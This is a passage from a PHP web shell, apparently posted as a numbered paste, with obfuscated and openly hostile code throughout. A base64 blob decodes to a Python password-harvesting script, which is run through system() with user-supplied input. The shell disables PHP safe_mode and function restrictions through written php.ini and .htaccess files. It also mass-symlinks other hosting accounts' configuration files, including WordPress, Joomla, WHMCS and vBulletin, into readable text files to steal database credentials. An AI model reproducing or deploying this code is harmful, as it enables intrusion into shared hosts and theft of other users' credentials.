  299. 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
  300. $file = fopen("cp.py","w+");
  301. $write = fwrite ($file ,base64_decode($cp));
  302. fclose($file);
  303. chmod("cp.py",0755);
  304. $url = $_POST['url'];
  305. echo"<center>
  306. <textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
  307. system("python cp.py $url config");
  308. unlink ('cp.py');
  309. echo"</textarea>
  310. </center>";
  311. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."> << BACK</a>";
  312. exit;
  313. }
  314. if($_POST['matikan']=='sekatan'){
  315. @error_reporting(0);
  316. $phpini =
  317. 'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
  318. $file = fopen("php.ini","w+");
  319. $write = fwrite ($file ,base64_decode($phpini));
  320. fclose($file);
  321. $htaccess =
  322. 'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
  323. $file = fopen(".htaccess","w+");
  324. $write = fwrite ($file ,base64_decode($htaccess));
  325. echo "<hr><center><b>DONE!";
  326. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  327. exit;
  328. }
  329. if($_POST['mendapatkan']=='passwd'){
  330. @set_magic_quotes_runtime(0);
  331. ob_start();
  332. error_reporting(0);
  333. @set_time_limit(0);
  334. @ini_set('max_execution_time',0);
  335. @ini_set('output_buffering',0);
  336. $fn = $_POST['foldername'];
  337. //all function here
  338.  
  339. function syml($usern,$pdomain)
  340.    {
  341.       symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  342.       symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  343.       symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  344.       symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  345.       symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  346.       symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  347.       symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  348.       symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  349.       symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  350.       symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  351.       symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  352.       symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  353.       symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  354.       symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  355.       symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  356.       symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  357.       symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  358.       symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  359.       symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  360.       symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  361.       symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  362.       symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  363.       symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  364.       symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  365.       symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  366.       symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  367.       symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  368.       symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  369.       symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  370.       symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  371.       symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  372.       symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  373.       symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  374.       symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  375.       symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  376.       symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  377.       symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  378.       symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  379.       symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  380.       symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  381.       symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  382.       symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  383.       symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  384.       symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  385.       symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  386.       symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  387.       symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  388.       symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  389.       symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  390.       symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  391.       symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  392.       symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  393.       symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  394.       symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  395.       symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  396.       symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  397.       symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  398.       symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  399.       symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  400.       symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  401.       symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  402.       symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  403.       symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  404.       symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  405.       symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  406.       symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  407.       symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  408.       symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  409.       symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  410.       symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  411.       symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  412.       symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  413.       symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  414.       symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  415.       symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  416.       symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  417.       symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  418.       symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  419.       symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  420.       symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  421.       symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  422.       symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  423.       symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  424.       symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  425.       symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  426.       symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  427.       symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  428.       symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  429.       symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  430.       symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  431.       symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  432.       symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  433.       symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  434.       symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  435.       symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  436.       symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  437.       symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  438.       symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  439.       symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  440.       symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  441.       symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  442.       symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  443.       symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  444.       symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  445.       symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  446.       symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  447.       symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  448.       symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  449.       symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  450.       symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  451.       symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  452.       symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  453.       symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  454.       symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  455.       symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  456.       symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  457.       symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  458.       symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  459.       symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  460.       symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  461.       symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  462.       symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  463.       symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  464.       symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  465.       symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  466.       symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  467.       symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  468.       symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  469.       symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  470.       symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  471.       symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  472.       symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  473.       symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  474.       symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  475.       symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  476.       symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  477.       symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  478.       symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  479.       symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
